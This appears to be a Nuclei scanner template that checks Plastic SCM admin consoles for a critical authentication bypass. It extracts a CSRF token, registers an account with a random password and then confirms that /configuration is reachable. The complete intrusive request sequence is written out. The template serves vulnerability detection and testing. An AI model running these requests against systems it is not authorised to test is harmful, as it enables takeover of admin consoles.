unauthorized-plastic-scm: Plastic Admin Console - Authentication Bypass

id: unauthorized-plastic-scm

info:
  name: Plastic Admin Console - Authentication Bypass
  author: DEENA
  severity: critical
  description: A Plastic Admin console was discovered.
  reference:
    - https://infosecwriteups.com/story-of-google-hall-of-fame-and-private-program-bounty-worth-53559a95c468
  classification:
    cvss-metrics: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-288
  metadata:
    max-request: 3
  tags: plastic,misconfig,intrusive,vuln

http:
  - raw:
      - |
        GET /account/register HTTP/1.1
        {{Hostname}}
      - |
        POST /account/register HTTP/1.1
        Host: {{Hostname}}
        Origin: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/account/register
        Connection: close

        Password={{randstr}}&ConfirmPassword={{randstr}}&RememberMe=true&__RequestVerificationToken={{csrf}}&RememberMe=false
      - |
        GET /configuration HTTP/1.1
        {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        group: 1
        name: csrf
        regex:
          - 'RequestVerificationToken" type="hidden" value="([A-Za-z0-9_-]+)" \/>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<title>Network - Plastic SCM</title>"
        part: body

      - type: status
        status:
          - 200
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